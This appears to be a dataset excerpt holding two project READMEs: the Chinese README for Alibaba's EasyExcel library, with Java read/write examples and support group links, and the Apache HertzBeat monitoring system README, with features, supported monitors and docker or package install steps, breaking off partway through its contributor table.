AI 驱动的数据库管理、数据分析工具，支持Mysql、pg、oracle、sqlserver、redis等10多种数据库
* Github 地址: [https://github.com/chat2db/Chat2DB](https://github.com/chat2db/Chat2DB)
* 官网：[https://chat2db-ai.com](https://chat2db-ai.com)
<p align="center">
<a href="https://chat2db.ai/" target="_blank">
<img src="https://chat2db-cdn.oss-us-west-1.aliyuncs.com/website/img/cover.png" alt="Chat2DB" />
</a>
</p>
# 网站
* 官方网站：[https://easyexcel.opensource.alibaba.com/](https://easyexcel.opensource.alibaba.com/)
* github地址：[https://github.com/alibaba/easyexcel](https://github.com/alibaba/easyexcel)
* gitee地址：[https://gitee.com/easyexcel/easyexcel](https://gitee.com/easyexcel/easyexcel)
# 16M内存23秒读取75M(46W行25列)的Excel（3.2.1+版本）
当然还有[极速模式](https://easyexcel.opensource.alibaba.com/qa/read#%E5%BC%80%E5%90%AF%E6%80%A5%E9%80%9F%E6%A8%A1%E5%BC%8F)
能更快，但是内存占用会在100M多一点
# 最新版本
```xml
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>easyexcel</artifactId>
<version>3.3.4</version>
</dependency>
```
# 帮忙点个⭐Star
开源不易，如果觉得EasyExcel对您的工作还是有帮助的话，请帮忙在<a target="_blank" href='https://github.com/alibaba/easyexcel'><img src="https://img.shields.io/github/stars/alibaba/easyexcel.svg?style=flat-square&label=Stars&logo=github" alt="github star"/></a>
的右上角点个⭐Star，您的支持是使EasyExcel变得更好最大的动力。
# 如何获取帮助
## 优先建议自己通过文档来解决问题
* [快速开始](https://easyexcel.opensource.alibaba.com/docs/current/)
* [常见问题](https://easyexcel.opensource.alibaba.com/docs/qa/)
* [API](https://easyexcel.opensource.alibaba.com/docs/current/api/)
## 其次建议通过`issues`来解决解决问题
可以尝试在以下2个链接搜索问题，如果不存在可以尝试创建`issue`。
* 去 [github](https://github.com/alibaba/easyexcel/issues) 搜索`issues`
* 去 [gitee](https://gitee.com/easyexcel/easyexcel/issues) 搜索`issues`
通过 `issues` 解决问题，可以给后面遇到相同问题的同学查看，所以比较推荐这种方式。
不管`github`、`gitee`都会定期有人回答您的问题，比较紧急可以在提完`issue`以后在钉钉群艾特群主并发送`issue`地址帮忙解决。
`QQ` 公司不让用，有时候也会去看，但是核心肯定还是在钉钉。
## 也可以加入钉钉&QQ群来解决问题
加入钉钉或QQ群，看完公告可以获得帮助 。
比较推荐钉钉群，`QQ` 公司不让用，当然QQ群也会有热心网友帮忙解决。
[QQ1群(已满): 662022184](https://jq.qq.com/?_wv=1027&k=1T21jJxh)
[QQ2群(已满): 1097936804](https://jq.qq.com/?_wv=1027&k=j5zEy6Xl)
[QQ3群(已满): 453928496](https://qm.qq.com/cgi-bin/qm/qr?k=e2ULsA5A0GldhV2CXJ8sIbAyu9I6qqs7&jump_from=webapi)
[QQ4群(已满): 496594404](https://qm.qq.com/cgi-bin/qm/qr?k=e_aVG1Q7gi0PJUBkbrUGAgbeO3kUEInK&jump_from=webapi)
[QQ5群(已满): 451925680](https://jq.qq.com/?_wv=1027&k=6VHhvxyf)
[QQ6群(已满): 784741035](https://jq.qq.com/?_wv=1027&k=BbLBIo9P)
[QQ7群(已满): 667889383](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=XdTLw3Z3pr63VT0IkyoY-2t25TG7WxbG&authKey=gQKvTXipsjfUO1aNfL9zdHTfOmkqC6E%2BQ2zDg2jym8h3qXuQ7RtkpeAHeg9I4UhL&noverify=0&group_code=667889383)
[QQ8群: 113968681](https://qm.qq.com/q/qwfl5RRBAG)
[钉钉1群（已满）: 21960511](https://qr.dingtalk.com/action/joingroup?code=v1,k1,cchz6k12ci9B08NNqhNRFGXocNVHrZtW0kaOtTKg/Rk=&_dt_no_comment=1&origin=11)
[钉钉2群（已满）: 32796397](https://qr.dingtalk.com/action/joingroup?code=v1,k1,jyU9GtEuNU5S0QTyklqYcYJ8qDZtUuTPMM7uPZTS8Hs=&_dt_no_comment=1&origin=11)
[钉钉3群（已满）: 33797247](https://qr.dingtalk.com/action/joingroup?code=v1,k1,3UGlEScTGQaHpW2cIRo+gkxJ9EVZ5fz26M6nW3uFP30=&_dt_no_comment=1&origin=11)
[钉钉4群（已满）: 33491624](https://qr.dingtalk.com/action/joingroup?code=v1,k1,V14Pb65Too70rQkEaJ9ohb6lZBZbtp6jIL/q9EWh9vA=&_dt_no_comment=1&origin=11)
[钉钉5群（已满）: 32134498](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingb9fa1325d9dccc3ecac589edd02f1650&5233a=71a83&cbdbhh=qwertyuiop)
[钉钉6群（已满）: 34707941](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingcf68008a1d443ac012d5427bdb061b7a&6ae36c3d-0c80-4=22398493-6c2a-4&cbdbhh=qwertyuiop)
[钉钉7群（已满）: 35235427](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=ding532b9018c06c7fc8660273c4b78e6440&167fb=ed003&cbdbhh=qwertyuiop)
[钉钉8群（已满）: 44752220](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dingea96808beee421693fd4ba7542d6e5da&0380092a-fa46=a6a40905-7951&cbdbhh=qwertyuiop)
[钉钉9群（已满）: 11045002277](https://h5.dingtalk.com/circle/healthCheckin.html?dtaction=os&corpId=dinge338d2215891c0459c13cd6b2cb108a6&6972d=b92f9&cbdbhh=qwertyuiop)
[钉钉10群(已满): 27360019755](https://qr.dingtalk.com/action/joingroup?code=v1,k1,v25LHn2liWmrWUKlkhIzOTcK7s7onp/sZP8mO5oIYSs=&_dt_no_comment=1&origin=11)
[钉钉11群(已满):24330026964](https://qr.dingtalk.com/action/joingroup?code=v1,k1,63PjvTncu81oQ3X6XmGEJqnwQHCQxi/jaVlbUStq79o=&_dt_no_comment=1&origin=11)
[钉钉12群(已满):27210038956](https://qr.dingtalk.com/action/joingroup?code=v1,k1,3mKi7VTGlYO+IsDX5n7sYYm2Qrlm220kMBPsJFzKRis=&_dt_no_comment=1&origin=11)
[钉钉13群:83695000992](https://qr.dingtalk.com/action/joingroup?code=v1,k1,2JFUbWfxD1fGiq7LRW+mYjcK7s7onp/s1ZqOvfzkFGE=&_dt_no_comment=1&origin=11)
## 关注作者：程序员小獭
# 维护者
姬朋飞（玉霄)、庄家钜
# 快速开始
## 读Excel
demo代码地址：[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/read/ReadTest.java)
详细文档地址：[https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read](https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read)
```java
/**
* 最简单的读
* <p>1. 创建excel对应的实体对象 参照{@link DemoData}
* <p>2. 由于默认一行行的读取excel，所以需要创建excel一行一行的回调监听器，参照{@link DemoDataListener}
* <p>3. 直接读即可
*/
@Test
public void simpleRead() {
String fileName = TestFileUtil.getPath() + "demo" + File.separator + "demo.xlsx";
// 这里 需要指定读用哪个class去读，然后读取第一个sheet 文件流会自动关闭
EasyExcel.read(fileName, DemoData.class, new DemoDataListener()).sheet().doRead();
}
```
## 写Excel
demo代码地址：[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/write/WriteTest.java)
详细文档地址：[https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write](https://easyexcel.opensource.alibaba.com/docs/current/quickstart/write)
```java
/**
* 最简单的写
* <p>1. 创建excel对应的实体对象 参照{@link com.alibaba.easyexcel.test.demo.write.DemoData}
* <p>2. 直接写即可
*/
@Test
public void simpleWrite() {
String fileName=TestFileUtil.getPath()+"write"+System.currentTimeMillis()+".xlsx";
// 这里 需要指定写用哪个class去读，然后写到第一个sheet，名字为模板 然后文件流会自动关闭
// 如果这里想使用03 则 传入excelType参数即可
EasyExcel.write(fileName,DemoData.class).sheet("模板").doWrite(data());
}
```
## web上传、下载
demo代码地址：[https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java](https://github.com/alibaba/easyexcel/blob/master/easyexcel-test/src/test/java/com/alibaba/easyexcel/test/demo/web/WebTest.java)
```java
/**
* 文件下载（失败了会返回一个有部分数据的Excel）
* <p>
* 1. 创建excel对应的实体对象 参照{@link DownloadData}
* <p>
* 2. 设置返回的 参数
* <p>
* 3. 直接写，这里注意，finish的时候会自动关闭OutputStream,当然你外面再关闭流问题不大
*/
@GetMapping("download")
public void download(HttpServletResponse response) throws IOException {
// 这里注意 有同学反应使用swagger 会导致各种问题，请直接用浏览器或者用postman
response.setContentType("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet");
response.setCharacterEncoding("utf-8");
// 这里URLEncoder.encode可以防止中文乱码 当然和easyexcel没有关系
String fileName=URLEncoder.encode("测试","UTF-8").replaceAll("\\+","%20");
response.setHeader("Content-disposition","attachment;filename*=utf-8''"+fileName+".xlsx");
EasyExcel.write(response.getOutputStream(),DownloadData.class).sheet("模板").doWrite(data());
}
/**
* 文件上传
* <p>1. 创建excel对应的实体对象 参照{@link UploadData}
* <p>2. 由于默认一行行的读取excel，所以需要创建excel一行一行的回调监听器，参照{@link UploadDataListener}
* <p>3. 直接读即可
*/
@PostMapping("upload")
@ResponseBody
public String upload(MultipartFile file)throws IOException{
EasyExcel.read(file.getInputStream(),UploadData.class,new UploadDataListener(uploadDAO)).sheet().doRead();
return"success";
}
```
| 0 |
apache/hertzbeat | Apache HertzBeat(incubating) is a real-time monitoring system with agentless, performance cluster, prometheus-compatible, custom monitoring and status page building capabilities. | alerting cloud database devops grafana linux metrics monitor monitoring mysql notifications observability prometheus self-hosted server status status-page uptime uptime-monitoring zabbix | <p align="center">
<a href="https://hertzbeat.apache.org">
<img alt="hertzbeat" src="/home/static/img/hertzbeat-brand.svg" width="260">
</a>
</p>
<h4 align="center">
<a href="README.md">English Document</a> | <a href="README_CN.md">中文文档</a>
</h4>
> A real-time monitoring system with agentless, performance cluster, prometheus-compatible, custom monitoring and status page building capabilities.
[](https://discord.gg/Fb6M73htGr)
[](https://www.reddit.com/r/hertzbeat/)
[](https://twitter.com/hertzbeat1024)
[](https://www.bestpractices.dev/projects/8139)
[](https://hub.docker.com/repository/docker/tancloud/hertzbeat/general)
[](https://artifacthub.io/packages/search?repo=hertzbeat)
[](https://www.youtube.com/channel/UCri75zfWX0GHqJFPENEbLow)
[](https://qm.qq.com/q/FltGGGIX2m)
**Home: [hertzbeat.apache.org](https://hertzbeat.apache.org)**
**Email: <a href="mailto:dev-subscribe@hertzbeat.apache.org">Mail to `dev-subscribe@hertzbeat.apache.org`</a> to subscribe [mailing lists](https://lists.apache.org/list.html?dev@hertzbeat.apache.org)**
## 🎡 <font color="green">Introduction</font>
[Apache HertzBeat](https://github.com/apache/hertzbeat)(Incubating) is an easy-to-use, open source, real-time monitoring system with agentless, high performance cluster, prometheus-compatible, offers powerful custom monitoring and status page building capabilities.
### Features
* Combines **monitoring, alarm, and notification** features into one platform, and supports monitoring for web service, program, database, cache, os, webserver, middleware, bigdata, cloud-native, network, custom and more.
* Easy to use and agentless, web-based and with one-click monitoring and alerting, zero learning curve.
* Makes protocols such as `Http, Jmx, Ssh, Snmp, Jdbc, Prometheus` configurable, allowing you to collect any metrics by simply configuring the template `YML` file online. Imagine being able to quickly adapt to a new monitoring type like K8s or Docker simply by configuring online with HertzBeat.
* Compatible with the `Prometheus` ecosystem and more, can monitoring what `Prometheus` can monitoring with few clicks on webui.
* High performance, supports horizontal expansion of multi-collector clusters, multi-isolated network monitoring and cloud-edge collaboration.
* Provides flexible alarm threshold rules and timely notifications delivered via `Discord` `Slack` `Telegram` `Email` `Dingtalk` `WeChat` `FeiShu` `Webhook` `SMS` `ServerChan`.
* Provides powerful status page building capabilities, easily communicate the real-time status of your service to users.
> HertzBeat's powerful customization, multi-type support, high performance, easy expansion, and low coupling, aims to help users quickly build their own monitoring system.
----
----
## 🥐 Architecture
## ⛄ Supported
> We define all monitoring collection types such as `mysql`, `jvm`, and `k8s` as `YML` monitoring templates, allowing users to import them to support corresponding types of monitoring.
> Welcome everyone to contribute your customized general monitoring type YML template during use.
- [Website](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-website.yml), [Port Telnet](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-port.yml),
[Http Api](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-api.yml), [Ping Connect](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-ping.yml),
[Jvm](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-jvm.yml), [SiteMap](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-fullsite.yml),
[Ssl Certificate](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-ssl_cert.yml), [SpringBoot2](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-springboot2.yml),
[FTP Server](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-ftp.yml), [SpringBoot3](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-springboot3.yml),
[Udp Port](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-udp.yml), [Dns](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-dns.yml),
[Pop3](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-pop3.yml), [Ntp](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-ntp.yml),
[Api Code](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-api_code.yml), [Smtp](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-smtp.yml),
[Nginx](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-nginx.yml)
- [Mysql](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-mysql.yml), [PostgreSQL](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-postgresql.yml),
[MariaDB](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-mariadb.yml), [Redis](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-redis.yml),
[ElasticSearch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-elasticsearch.yml), [SqlServer](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-sqlserver.yml),
[Oracle](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-oracle.yml), [MongoDB](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-mongodb.yml),
[DM](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-dm.yml), [OpenGauss](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-opengauss.yml),
[ClickHouse](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-clickhouse.yml), [IoTDB](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-iotdb.yml),
[Redis Cluster](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-redis_cluster.yml), [Redis Sentinel](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-redis_sentinel.yml)
[Doris BE](https://github.com/apache/hertzbeat/blob/master/manager/src/main/resources/define/app-doris_be.yml), [Doris FE](https://github.com/apache/hertzbeat/blob/master/manager/src/main/resources/define/app-doris_fe.yml),
[Memcached](https://github.com/apache/hertzbeat/blob/master/manager/src/main/resources/define/app-memcached.yml), [NebulaGraph](https://github.com/apache/hertzbeat/blob/master/manager/src/main/resources/define/app-nebulaGraph.yml)
- [Linux](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-linux.yml), [Ubuntu](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-ubuntu.yml),
[CentOS](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-centos.yml), [Windows](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-windows.yml),
[EulerOS](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-euleros.yml), [Fedora CoreOS](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-coreos.yml),
[OpenSUSE](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-opensuse.yml), [Rocky Linux](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-rockylinux.yml),
[Red Hat](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-redhat.yml), [FreeBSD](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-freebsd.yml),
[AlmaLinux](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-almalinux.yml), [Debian Linux](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-debian.yml)
- [Tomcat](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-tomcat.yml), [Nacos](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-nacos.yml),
[Zookeeper](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-zookeeper.yml), [RabbitMQ](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-rabbitmq.yml),
[Flink](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-flink.yml), [Kafka](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-kafka.yml),
[ShenYu](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-shenyu.yml), [DynamicTp](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-dynamic_tp.yml),
[Jetty](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-jetty.yml), [ActiveMQ](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-activemq.yml),
[Spring Gateway](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-spring_gateway.yml), [EMQX MQTT](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-emqx.yml),
[AirFlow](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-airflow.yml), [Hive](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-hive.yml),
[Spark](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-spark.yml), [Hadoop](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-hadoop.yml)
- [Kubernetes](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-kubernetes.yml), [Docker](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-docker.yml)
- [CiscoSwitch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-cisco_switch.yml), [HpeSwitch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-hpe_switch.yml),
[HuaweiSwitch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-huawei_switch.yml), [TpLinkSwitch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-tplink_switch.yml),
[H3cSwitch](https://raw.githubusercontent.com/apache/hertzbeat/master/manager/src/main/resources/define/app-h3c_switch.yml)
- And More Your Custom Template.
- Notified Support `Discord` `Slack` `Telegram` `Email` `Dingtalk` `WeChat` `FeiShu` `Webhook` `SMS` `ServerChan`.
## 🐕 Quick Start
- If you wish to deploy HertzBeat locally, please refer to the following Deployment Documentation for instructions.
### 🍞 Install HertzBeat
> HertzBeat supports installation through source code, docker or package, cpu support x86/arm64.
##### 1：Install quickly via docker
1. Just one command to get started:
```docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat tancloud/hertzbeat```
```or use quay.io (if dockerhub network connect timeout)```
```docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat quay.io/tancloud/hertzbeat```
2. Access `http://localhost:1157` to start, default account: `admin/hertzbeat`
3. Deploy collector clusters (Optional)
```
docker run -d -e IDENTITY=custom-collector-name -e MANAGER_HOST=127.0.0.1 -e MANAGER_PORT=1158 --name hertzbeat-collector tancloud/hertzbeat-collector
```
- `-e IDENTITY=custom-collector-name` : set the collector unique identity name.
- `-e MODE=public` : set the running mode(public or private), public cluster or private cloud-edge.
- `-e MANAGER_HOST=127.0.0.1` : set the main hertzbeat server ip.
- `-e MANAGER_PORT=1158` : set the main hertzbeat server port, default 1158.
Detailed config refer to [Install HertzBeat via Docker](https://hertzbeat.apache.org/docs/start/docker-deploy)
##### 2：Install via package
1. Download the release package `hertzbeat-xx.tar.gz` [GITHUB Release](https://github.com/apache/hertzbeat/releases)
2. Configure the HertzBeat configuration yml file `hertzbeat/config/application.yml` (optional)
3. Run command `$ ./bin/startup.sh ` or `bin/startup.bat`
4. Access `http://localhost:1157` to start, default account: `admin/hertzbeat`
5. Deploy collector clusters (Optional)
- Download the release package `hertzbeat-collector-xx.tar.gz` to new machine [GITHUB Release](https://github.com/apache/hertzbeat/releases)
- Configure the collector configuration yml file `hertzbeat-collector/config/application.yml`: unique `identity` name, running `mode` (public or private), hertzbeat `manager-host`, hertzbeat `manager-port`
```yaml
collector:
dispatch:
entrance:
netty:
enabled: true
identity: ${IDENTITY:}
mode: ${MODE:public}
manager-host: ${MANAGER_HOST:127.0.0.1}
manager-port: ${MANAGER_PORT:1158}
```
- Run command `$ ./bin/startup.sh ` or `bin/startup.bat`
- Access `http://localhost:1157` and you will see the registered new collector in dashboard
Detailed config refer to [Install HertzBeat via Package](https://hertzbeat.apache.org/docs/start/package-deploy)
##### 3：Start via source code
1. Local source code debugging needs to start the back-end project `manager` and the front-end project `web-app`.
2. Backend：need `maven3+`, `java17`, `lombok`, start the `manager` service.
3. Web：need `nodejs npm angular-cli` environment, Run `ng serve --open` in `web-app` directory after backend startup.
4. Access `http://localhost:4200` to start, default account: `admin/hertzbeat`
Detailed steps refer to [CONTRIBUTING](CONTRIBUTING.md)
##### 4：Install All(hertzbeat+mysql+tsdb) via Docker-compose
Install the mysql/postgresql database, iotdb/tdengine/victoria-metrics database and hertzbeat at one time through [docker-compose deployment script](script/docker-compose).
Detailed steps refer to [Install via Docker-Compose](script/docker-compose/README.md)
##### 5. Install All(hertzbeat+collector+mysql+tsdb) via kubernetes helm charts
Install HertzBeat cluster in a Kubernetes cluster by Helm chart.
Detailed steps refer to [Artifact Hub](https://artifacthub.io/packages/helm/hertzbeat/hertzbeat)
**HAVE FUN**
## 🥐 Roadmap
## ✨ Contributors
Thanks to these wonderful people, welcome to join us:
[Contributor Guide](CONTRIBUTING.md)
<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->
<!-- prettier-ignore-start -->
<!-- markdownlint-disable -->
<table>
<tbody>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/tomsun28"><img src="https://avatars.githubusercontent.com/u/24788200?v=4?s=100" width="100px;" alt="tomsun28"/><br /><sub><b>tomsun28</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=tomsun28" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=tomsun28" title="Documentation">📖</a> <a href="#design-tomsun28" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/wang1027-wqh"><img src="https://avatars.githubusercontent.com/u/71161318?v=4?s=100" width="100px;" alt="会编程的王学长"/><br /><sub><b>会编程的王学长</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=wang1027-wqh" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=wang1027-wqh" title="Documentation">📖</a> <a href="#design-wang1027-wqh" title="Design">🎨</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://www.maxkey.top/"><img src="https://avatars.githubusercontent.com/u/1563377?v=4?s=100" width="100px;" alt="MaxKey"/><br /><sub><b>MaxKey</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=shimingxy" title="Code">💻</a> <a href="#design-shimingxy" title="Design">🎨</a> <a href="#ideas-shimingxy" title="Ideas, Planning, & Feedback">🤔</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://blog.gcdd.top/"><img src="https://avatars.githubusercontent.com/u/26523525?v=4?s=100" width="100px;" alt="观沧海"/><br /><sub><b>观沧海</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=gcdd1993" title="Code">💻</a> <a href="#design-gcdd1993" title="Design">🎨</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Agcdd1993" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/a25017012"><img src="https://avatars.githubusercontent.com/u/32265356?v=4?s=100" width="100px;" alt="yuye"/><br /><sub><b>yuye</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=a25017012" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/commits?author=a25017012" title="Documentation">📖</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/jx10086"><img src="https://avatars.githubusercontent.com/u/5323228?v=4?s=100" width="100px;" alt="jx10086"/><br /><sub><b>jx10086</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=jx10086" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Ajx10086" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/winnerTimer"><img src="https://avatars.githubusercontent.com/u/76024658?v=4?s=100" width="100px;" alt="winnerTimer"/><br /><sub><b>winnerTimer</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=winnerTimer" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3AwinnerTimer" title="Bug reports">🐛</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/goo-kits"><img src="https://avatars.githubusercontent.com/u/13163673?v=4?s=100" width="100px;" alt="goo-kits"/><br /><sub><b>goo-kits</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=goo-kits" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Agoo-kits" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/brave4Time"><img src="https://avatars.githubusercontent.com/u/105094014?v=4?s=100" width="100px;" alt="brave4Time"/><br /><sub><b>brave4Time</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=brave4Time" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Abrave4Time" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/walkerlee-lab"><img src="https://avatars.githubusercontent.com/u/8426753?v=4?s=100" width="100px;" alt="WalkerLee"/><br /><sub><b>WalkerLee</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=walkerlee-lab" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Awalkerlee-lab" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/fullofjoy"><img src="https://avatars.githubusercontent.com/u/30247571?v=4?s=100" width="100px;" alt="jianghang"/><br /><sub><b>jianghang</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=fullofjoy" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Afullofjoy" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/ChineseTony"><img src="https://avatars.githubusercontent.com/u/24618786?v=4?s=100" width="100px;" alt="ChineseTony"/><br /><sub><b>ChineseTony</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=ChineseTony" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3AChineseTony" title="Bug reports">🐛</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/wyt199905"><img src="https://avatars.githubusercontent.com/u/85098809?v=4?s=100" width="100px;" alt="wyt199905"/><br /><sub><b>wyt199905</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=wyt199905" title="Code">💻</a></td>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/weifuqing"><img src="https://avatars.githubusercontent.com/u/13931013?v=4?s=100" width="100px;" alt="卫傅庆"/><br /><sub><b>卫傅庆</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=weifuqing" title="Code">💻</a> <a href="https://github.com/apache/hertzbeat/issues?q=author%3Aweifuqing" title="Bug reports">🐛</a></td>
</tr>
<tr>
<td align="center" valign="top" width="14.28%"><a href="https://github.com/zklmcookle"><img src="https://avatars.githubusercontent.com/u/107192352?v=4?s=100" width="100px;" alt="zklmcookle"/><br /><sub><b>zklmcookle</b></sub></a><br /><a href="https://github.com/apache/hertzbeat/commits?author=zklmcookle" title="Code">💻</a></td>
